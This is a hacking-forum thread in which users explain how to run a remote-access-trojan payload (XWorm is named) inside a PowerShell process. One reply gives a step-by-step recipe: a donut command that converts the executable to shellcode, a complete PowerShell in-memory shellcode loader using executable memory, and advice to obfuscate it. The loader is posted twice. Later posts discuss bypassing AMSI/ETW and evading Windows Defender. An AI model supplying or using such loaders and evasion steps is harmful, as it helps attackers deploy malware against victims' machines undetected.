Forum:Hack Forums

Thread: How does malicious/payload code run inside a PowerShell process?

chhurbura - *August 28, 2026, 8:40 pm*

How does malicious/payload code run inside a PowerShell process? How can an EXE be executed as PowerShell code?

For example, I am experimenting with XWorm as a remote access tool in a controlled lab environment. Normally, the server is an `.exe` file, but I have seen some remote-access malware where the payload appears to run inside a `powershell.exe` process instead of creating a separate process for the EXE.

How does this work technically? Is the EXE converted into PowerShell code, or is the executable loaded directly into the PowerShell process in some other way?

Are there any legitimate tools, techniques, or documentation that explain how this type of process works? I would really appreciate any hints or pointers so I can understand the underlying concept.

DramaKing - *August 28, 2026, 8:53 pm*

(Aug 28, 2026 08:40 PM)chhurbura Wrote: *[CITE]* How does malicious/payload code run inside a PowerShell process? How can an EXE be executed as PowerShell code?

For example, I am experimenting with XWorm as a remote access tool in a controlled lab environment. Normally, the server is an `.exe` file, but I have seen some remote-access malware where the payload appears to run inside a `powershell.exe` process instead of creating a separate process for the EXE.

How does this work technically? Is the EXE converted into PowerShell code, or is the executable loaded directly into the PowerShell process in some other way?

Are there any legitimate tools, techniques, or documentation that explain how this type of process works? I would really appreciate any hints or pointers so I can understand the underlying concept.
I assume that this isn't what you actually want, but it's what you've asked for.

Code $filePath = "/path/to/file"
Start-Process -Path $filePath -NoNewWindow
You can't convert raw binary to PowerShell, although you can use .NET methods and classes.

MikeJohnLong - *August 28, 2026, 9:37 pm*

Yku can use Assembly.Load on a .NET binaries' bytes to load it into memory, then invoke its entrypoint. You should look into it.

closedeyeknight - *August 28, 2026, 11:17 pm*

Hello, i will try to help

Step 1:
Prepare your payload.exe and download donut from github

Step 2:

The dount project in github. it will make .net stub to shellcode. and use command:
Code ./donut.exe -a 2 -f 6 -o /path/to/output/shellcode.ps1 -i /path/to/your/payload.exeOf course, u can modify the original project to reduce signatures and add more features if u can

Step 3:
Write a powershell loader. I am here give u one i wrote for u. With an Hello World example
Code Add-Type @"

```
using System;
using System.Runtime.InteropServices;

public static class Native
{
    public const uint MEM_COMMIT   = 0x1000;
    public const uint MEM_RESERVE  = 0x2000;

    public const uint PAGE_EXECUTE_READWRITE = 0x40;

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        UIntPtr dwSize,
        uint flAllocationType,
        uint flProtect
    );

    [UnmanagedFunctionPointer(CallingConvention.Winapi)]
    public delegate void ShellCodeLdr();
}
"@

# Your shellcode, put here
[byte[]] $data = @(0x48, 0x83, 0xec, 0x28, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x8d, 0x15, 0x66,
            0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x52, 0x00, 0x00, 0x00, 0xe8, 0x9e,
            0x00, 0x00, 0x00, 0x4c, 0x8b, 0xf8, 0x48, 0x8d, 0x0d, 0x5d, 0x00, 0x00,
            0x00, 0xff, 0xd0, 0x48, 0x8d, 0x15, 0x5f, 0x00, 0x00, 0x00, 0x48, 0x8d,
            0x0d, 0x4d, 0x00, 0x00, 0x00, 0xe8, 0x7f, 0x00, 0x00, 0x00, 0x4d, 0x33,
            0xc9, 0x4c, 0x8d, 0x05, 0x61, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x4e,
            0x00, 0x00, 0x00, 0x48, 0x33, 0xc9, 0xff, 0xd0, 0x48, 0x8d, 0x15, 0x56,
            0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x56,
            0x00, 0x00, 0x00, 0x48, 0x33, 0xc9, 0xff, 0xd0, 0x4b, 0x45, 0x52, 0x4e,
            0x45, 0x4c, 0x33, 0x32, 0x2e, 0x44, 0x4c, 0x4c, 0x00, 0x4c, 0x6f, 0x61,
            0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00, 0x55, 0x53,
            0x45, 0x52, 0x33, 0x32, 0x2e, 0x44, 0x4c, 0x4c, 0x00, 0x4d, 0x65, 0x73,
            0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00, 0x48, 0x65, 0x6c,
            0x6c, 0x6f, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x00, 0x4d, 0x65, 0x73,
            0x73, 0x61, 0x67, 0x65, 0x00, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72, 0x6f,
            0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x83, 0xec, 0x28, 0x65, 0x4c, 0x8b,
            0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0x40, 0x18, 0x4d, 0x8d,
            0x60, 0x10, 0x4d, 0x8b, 0x04, 0x24, 0xfc, 0x49, 0x8b, 0x78, 0x60, 0x48,
            0x8b, 0xf1, 0xac, 0x84, 0xc0, 0x74, 0x26, 0x8a, 0x27, 0x80, 0xfc, 0x61,
            0x7c, 0x03, 0x80, 0xec, 0x20, 0x3a, 0xe0, 0x75, 0x08, 0x48, 0xff, 0xc7,
            0x48, 0xff, 0xc7, 0xeb, 0xe5, 0x4d, 0x8b, 0x00, 0x4d, 0x3b, 0xc4, 0x75,
            0xd6, 0x48, 0x33, 0xc0, 0xe9, 0xa7, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x58,
```

```
            0x30, 0x44, 0x8b, 0x4b, 0x3c, 0x4c, 0x03, 0xcb, 0x49, 0x81, 0xc1, 0x88,
            0x00, 0x00, 0x00, 0x45, 0x8b, 0x29, 0x4d, 0x85, 0xed, 0x75, 0x08, 0x48,
            0x33, 0xc0, 0xe9, 0x85, 0x00, 0x00, 0x00, 0x4e, 0x8d, 0x04, 0x2b, 0x45,
            0x8b, 0x71, 0x04, 0x4d, 0x03, 0xf5, 0x41, 0x8b, 0x48, 0x18, 0x45, 0x8b,
            0x50, 0x20, 0x4c, 0x03, 0xd3, 0xff, 0xc9, 0x4d, 0x8d, 0x0c, 0x8a, 0x41,
            0x8b, 0x39, 0x48, 0x03, 0xfb, 0x48, 0x8b, 0xf2, 0xa6, 0x75, 0x08, 0x8a,
            0x06, 0x84, 0xc0, 0x74, 0x09, 0xeb, 0xf5, 0xe2, 0xe6, 0x48, 0x33, 0xc0,
            0xeb, 0x4e, 0x45, 0x8b, 0x48, 0x24, 0x4c, 0x03, 0xcb, 0x66, 0x41, 0x8b,
            0x0c, 0x49, 0x45, 0x8b, 0x48, 0x1c, 0x4c, 0x03, 0xcb, 0x41, 0x8b, 0x04,
            0x89, 0x49, 0x3b, 0xc5, 0x7c, 0x2f, 0x49, 0x3b, 0xc6, 0x73, 0x2a, 0x48,
            0x8d, 0x34, 0x18, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x4c, 0x8b, 0xe7, 0xa4,
            0x80, 0x3e, 0x2e, 0x75, 0xfa, 0xa4, 0xc7, 0x07, 0x44, 0x4c, 0x4c, 0x00,
            0x49, 0x8b, 0xcc, 0x41, 0xff, 0xd7, 0x49, 0x8b, 0xcc, 0x48, 0x8b, 0xd6,
            0xe9, 0x14, 0xff, 0xff, 0xff, 0x48, 0x03, 0xc3, 0x48, 0x83, 0xc4, 0x28, 0xc3)

$size = [UIntPtr]::new([UInt32]$data.Length)
$address = [Native]::VirtualAlloc(
    [IntPtr]::Zero,
    [UIntPtr]$size,
    [uint32]([Native]::MEM_COMMIT -bor [Native]::MEM_RESERVE),
    [uint32][Native]::PAGE_EXECUTE_READWRITE
)

if ($address -eq [IntPtr]::Zero) {
    return
}

[int]$copyLen = $data.Length
[System.Runtime.InteropServices.Marshal]::Copy(
    [byte[]]$data,
    [int]0,
    [IntPtr]$address,
    $copyLen
)

$ldr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    $address, [Native+ShellCodeLdr])

$ldr.Invoke()This is just an example, u can add new feature like encryption etc to it.

## Step 4:
Obfuscate it. Run the powershell script and it will be a pure powershell process.

If you feel it's helpful, i will be happy. Thank you
```

chhurbura - *August 29, 2026, 3:38 am*

(Aug 28, 2026 08:53 PM)DramaKing Wrote: [CITE] I assume that this isn't what you actually want, but it's what you've asked for.

Code $filePath = "/path/to/file"
Start-Process -Path $filePath -NoNewWindow
You can't convert raw binary to PowerShell, although you can use .NET methods and classes.
Thanks ...very informative...

(Aug 28, 2026 09:37 PM)MikeJohnLong Wrote: [CITE] Yku can use Assembly.Load on a .NET binaries' bytes to load it into memory, then invoke its entrypoint. You should look into it.
Thanks let me search on google ?

(Aug 28, 2026 11:17 PM)closedeyeknight Wrote: [CITE] Hello, i will try to help

Step 1:
Prepare your payload.exe and download donut from github

Step 2:
The dount project in github. it will make .net stub to shellcode. and use command:
Code ./donut.exe -a 2 -f 6 -o /path/to/output/shellcode.ps1 -i /path/to/your/payload.exeOf course, u can modify the original project to reduce signatures and add more features if u can

Step 3:
Write a powershell loader. I am here give u one i wrote for u. With an Hello World example
Code Add-Type @"

```
using System;
using System.Runtime.InteropServices;

public static class Native
{
    public const uint MEM_COMMIT   = 0x1000;
    public const uint MEM_RESERVE  = 0x2000;

    public const uint PAGE_EXECUTE_READWRITE = 0x40;

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        UIntPtr dwSize,
        uint flAllocationType,
        uint flProtect
    );

    [UnmanagedFunctionPointer(CallingConvention.Winapi)]
    public delegate void ShellCodeLdr();
}
"@

# Your shellcode, put here
[byte[]] $data = @(0x48, 0x83, 0xec, 0x28, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x8d, 0x15, 0x66,
                0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x52, 0x00, 0x00, 0x00, 0xe8, 0x9e,
                0x00, 0x00, 0x00, 0x4c, 0x8b, 0xf8, 0x48, 0x8d, 0x0d, 0x5d, 0x00, 0x00,
                0x00, 0xff, 0xd0, 0x48, 0x8d, 0x15, 0x5f, 0x00, 0x00, 0x00, 0x48, 0x8d,
                0x0d, 0x4d, 0x00, 0x00, 0x00, 0xe8, 0x7f, 0x00, 0x00, 0x00, 0x4d, 0x33,
                0xc9, 0x4c, 0x8d, 0x05, 0x61, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x4e,
                0x00, 0x00, 0x00, 0x48, 0x33, 0xc9, 0xff, 0xd0, 0x48, 0x8d, 0x15, 0x56,
                0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x56,
                0x00, 0x00, 0x00, 0x48, 0x33, 0xc9, 0xff, 0xd0, 0x4b, 0x45, 0x52, 0x4e,
                0x45, 0x4c, 0x33, 0x32, 0x2e, 0x44, 0x4c, 0x4c, 0x00, 0x4c, 0x6f, 0x61,
                0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00, 0x55, 0x53,
```

```
            0x45, 0x52, 0x33, 0x32, 0x2e, 0x44, 0x4c, 0x4c, 0x00, 0x4d, 0x65, 0x73,
            0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00, 0x48, 0x65, 0x6c,
            0x6c, 0x6f, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x00, 0x4d, 0x65, 0x73,
            0x73, 0x61, 0x67, 0x65, 0x00, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72, 0x6f,
            0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x83, 0xec, 0x28, 0x65, 0x4c, 0x8b,
            0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0x40, 0x18, 0x4d, 0x8d,
            0x60, 0x10, 0x4d, 0x8b, 0x04, 0x24, 0xfc, 0x49, 0x8b, 0x78, 0x60, 0x48,
            0x8b, 0xf1, 0xac, 0x84, 0xc0, 0x74, 0x26, 0x8a, 0x27, 0x80, 0xfc, 0x61,
            0x7c, 0x03, 0x80, 0xec, 0x20, 0x3a, 0xe0, 0x75, 0x08, 0x48, 0xff, 0xc7,
            0x48, 0xff, 0xc7, 0xeb, 0xe5, 0x4d, 0x8b, 0x00, 0x4d, 0x3b, 0xc4, 0x75,
            0xd6, 0x48, 0x33, 0xc0, 0xe9, 0xa7, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x58,
            0x30, 0x44, 0x8b, 0x4b, 0x3c, 0x4c, 0x03, 0xcb, 0x49, 0x81, 0xc1, 0x88,
            0x00, 0x00, 0x00, 0x45, 0x8b, 0x29, 0x4d, 0x85, 0xed, 0x75, 0x08, 0x48,
            0x33, 0xc0, 0xe9, 0x85, 0x00, 0x00, 0x00, 0x4e, 0x8d, 0x04, 0x2b, 0x45,
            0x8b, 0x71, 0x04, 0x4d, 0x03, 0xf5, 0x41, 0x8b, 0x48, 0x18, 0x45, 0x8b,
            0x50, 0x20, 0x4c, 0x03, 0xd3, 0xff, 0xc9, 0x4d, 0x8d, 0x0c, 0x8a, 0x41,
            0x8b, 0x39, 0x48, 0x03, 0xfb, 0x48, 0x8b, 0xf2, 0xa6, 0x75, 0x08, 0x8a,
            0x06, 0x84, 0xc0, 0x74, 0x09, 0xeb, 0xf5, 0xe2, 0xe6, 0x48, 0x33, 0xc0,
            0xeb, 0x4e, 0x45, 0x8b, 0x48, 0x24, 0x4c, 0x03, 0xcb, 0x66, 0x41, 0x8b,
            0x0c, 0x49, 0x45, 0x8b, 0x48, 0x1c, 0x4c, 0x03, 0xcb, 0x41, 0x8b, 0x04,
            0x89, 0x49, 0x3b, 0xc5, 0x7c, 0x2f, 0x49, 0x3b, 0xc6, 0x73, 0x2a, 0x48,
            0x8d, 0x34, 0x18, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x4c, 0x8b, 0xe7, 0xa4,
            0x80, 0x3e, 0x2e, 0x75, 0xfa, 0xa4, 0xc7, 0x07, 0x44, 0x4c, 0x4c, 0x00,
            0x49, 0x8b, 0xcc, 0x41, 0xff, 0xd7, 0x49, 0x8b, 0xcc, 0x48, 0x8b, 0xd6,
            0xe9, 0x14, 0xff, 0xff, 0xff, 0x48, 0x03, 0xc3, 0x48, 0x83, 0xc4, 0x28, 0xc3)

$size = [UIntPtr]::new([UInt32]$data.Length)
$address = [Native]::VirtualAlloc(
    [IntPtr]::Zero,
    [UIntPtr]$size,
    [uint32]([Native]::MEM_COMMIT -bor [Native]::MEM_RESERVE),
    [uint32][Native]::PAGE_EXECUTE_READWRITE
)

if ($address -eq [IntPtr]::Zero) {
    return
}

[int]$copyLen = $data.Length
[System.Runtime.InteropServices.Marshal]::Copy(
    [byte[]]$data,
    [int]0,
    [IntPtr]$address,
    $copyLen
)

$ldr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    $address, [Native+ShellCodeLdr])

$ldr.Invoke()This is just an example, u can add new feature like encryption etc to it.

## Step 4:
Obfuscate it. Run the powershell script and it will be a pure powershell process.
```

If you feel it's helpful, i will be happy. Thank you
Wow!! very very helpful...i think this is what i ask...let me try and use your code...Thank you very much...?

DramaKing - *August 29, 2026, 4:32 am*

(Aug 29, 2026 03:38 AM)chhurbura Wrote: [CITE] Wow!! very very helpful...i think this is what i ask...let me try and use your code...Thank you very much...?
You may think so, but any kind of shellcode injection is going to give you a rude introduction to the AntiMalware Scan Interface. Microsoft has made it so that pretty much any patch will be detected, regardless of obfuscation.

closedeyeknight - *August 29, 2026, 5:39 am*

(Aug 29, 2026 04:32 AM)DramaKing Wrote: [CITE] You may think so, but any kind of shellcode injection is going to give you a rude introduction to the AntiMalware Scan Interface. Microsoft has made it so that pretty much any patch will be detected, regardless of obfuscation.
First, It's not injection. It's just an easy loader, but this will trigger AV/EDR ofc. bcz it's raw and just an example.

Second, donut has features to bypass AMSI/ETW etc, just check README of donut or run:
Code ./donut.exe -hAnd you will see this:
Code -b,--bypass: <level> Bypass AMSI/WLDP/ETW : 1=None, 2=Abort on fail, 3=Continue on fail.(default)
But the donut itself has many signatures and it uses Reflective loading essentially, this is very sensitive.
Every step of this tech is in av/edr's yara rules. And the call stack will trigger detection immediately.
And you need to do encryption to the shellcode and modify the loader.
That's why i recommand him to obfuscate it.

Finally check the title.
How does malicious/payload code run inside a PowerShell proc
He doesn't want the FUD, but the payload could run inside a powershell proc

DramaKing - *August 29, 2026, 6:03 am*

(Aug 29, 2026 05:39 AM)closedeyeknight Wrote: [CITE] First, It's not injection. It's just an easy loader, but this will trigger AV/EDR ofc. bcz it's raw and just an example.
You're qualifying injection as only injecting into a remote process, but whatever.

(Aug 29, 2026 05:39 AM)closedeyeknight Wrote: [CITE] Second, donut has features to bypass AMSI/ETW etc, just check README of donut or run:
Code ./donut.exe -hAnd you will see this:
Code -b,--bypass: <level> Bypass AMSI/WLDP/ETW : 1=None, 2=Abort on fail, 3=Continue on fail.(default)
I should save this for when I need a good joke. You really don't use malware, do you? I mean, who cares if the shellcode contains a patch when AMSI will flag the stub?

(Aug 29, 2026 05:39 AM)closedeyeknight Wrote: [CITE] But the donut itself has many signatures and it uses Reflective loading essentially, this is very sensitive.
Every step of this tech is in av/edr's yara rules. And the call stack will trigger detection immediately.
And you need to do encryption to the shellcode and modify the loader.
That's why i recommand him to obfuscate it.
Well, duh. My point is that obfuscation is no longer effective. OP can spend months trying

obfuscation and encryption techniques. AMSI will stop execution as soon as the script shows any malicious behavior. I'm doing testing now to see if those techniques make a seemingly benign script MORE detected and not less.

(Aug 29, 2026 05:39 AM)closedeyeknight Wrote: [CITE] Finally check the title.
How does malicious/payload code run inside a PowerShell proc
He doesn't want the FUD, but the payload could run inside a powershell proc
This isn't a cybersecurity education forum. Most users come here to be taught how to be bad hacker man and extort lots of money.

chhurbura - *August 29, 2026, 6:23 am*

(Aug 29, 2026 05:39 AM)closedeyeknight Wrote: [CITE] First, It's not injection. It's just an easy loader, but this will trigger AV/EDR ofc. bcz it's raw and just an example.

Second, donut has features to bypass AMSI/ETW etc, just check README of donut or run:
Code ./donut.exe -hAnd you will see this:
Code -b,--bypass: <level> Bypass AMSI/WLDP/ETW : 1=None, 2=Abort on fail, 3=Continue on fail.(default)
But the donut itself has many signatures and it uses Reflective loading essentially, this is very sensitive.
Every step of this tech is in av/edr's yara rules. And the call stack will trigger detection immediately.
And you need to do encryption to the shellcode and modify the loader.
That's why i recommand him to obfuscate it.

Finally check the title.
How does malicious/payload code run inside a PowerShell proc
He doesn't want the FUD, but the payload could run inside a powershell proc
once again thank you...yes your right i don't need or know how to FUD...i just wanna know how payload could run inside a powershell...

closedeyeknight - *August 29, 2026, 6:26 am*

(Aug 29, 2026 06:03 AM)DramaKing Wrote: [CITE] You're qualifying injection as only injecting into a remote process, but whatever.

I should save this for when I need a good joke. You really don't use malware, do you? I mean, who cares if the shellcode contains a patch when AMSI will flag the stub?
I never said it:
Code injecting into a remote processInjection could inject itself. but the truth is this is just a loader, even not self-injection. loader and injection are different conception. Read ATT&T reports.
Code VirtualAlloc -> write shellcode -> modify execution privilege -> run in current process
This is called: in-process shellcode loading/execution

Code T1620 Reflective Code Loading
But not:
Code T1055 Process Injection
T1055.002 Portable Executable Injection
T1055.003 Thread Execution Hijacking
T1055.004 Asynchronous Procedure Call
T1055.012 Process Hollowing
...
Btw do u know how AMSI working? I know.

When the AMSI being patched, it will not worked anymore. and the dount will run AMSI/ETW patching at first before the real payload runs.

And chill, man. i have no meaning to offend u. I just try to help and tell the truth. Easy.

(Aug 29, 2026 06:23 AM)chhurbura Wrote: [CITE] once again thank you...yes your right i don't need or know how to FUD...i just wanna know how payload could run inside a powershell...
u r welcome. ?

(Aug 29, 2026 06:03 AM)DramaKing Wrote: [CITE] This isn't a cybersecurity education forum. Most users come here to be taught how to be bad hacker man and extort lots of money.
Oh, is this true? Sorry, I might have missed it, I apologize to u. bcz i didn't find it when i read the rules of this forum. Never. I will read the forum FAQ again

DramaKing - *August 29, 2026, 9:32 am*
(Aug 29, 2026 06:23 AM)chhurbura Wrote: [CITE] once again thank you...yes your right i don't need or know how to FUD...i just wanna know how payload could run inside a powershell...
Okay, glad to see people interested in learning.

chhurbura - *August 29, 2026, 9:10 pm*
(Aug 29, 2026 04:32 AM)DramaKing Wrote: [CITE] You may think so, but any kind of shellcode injection is going to give you a rude introduction to the AntiMalware Scan Interface. Microsoft has made it so that pretty much any patch will be detected, regardless of obfuscation.
Your right...i just created my server.ps1 payload and i obfuscated my PowerShell payload. When i scan, it is 100% FUD, When i run and execute my PowerShell payload after 60 second Windows Defender Detected and terminated. May be really hard to make FUD at Runtime.

(Aug 29, 2026 09:32 AM)DramaKing Wrote: [CITE] Okay, glad to see people interested in learning.
Hello Sir, i wanna ask one question...i know you answer many questions on this Hackfroum and you have a good knowledge...is it possible to obfuscated and bypass powsershell file like server.ps1 from Windows Defender?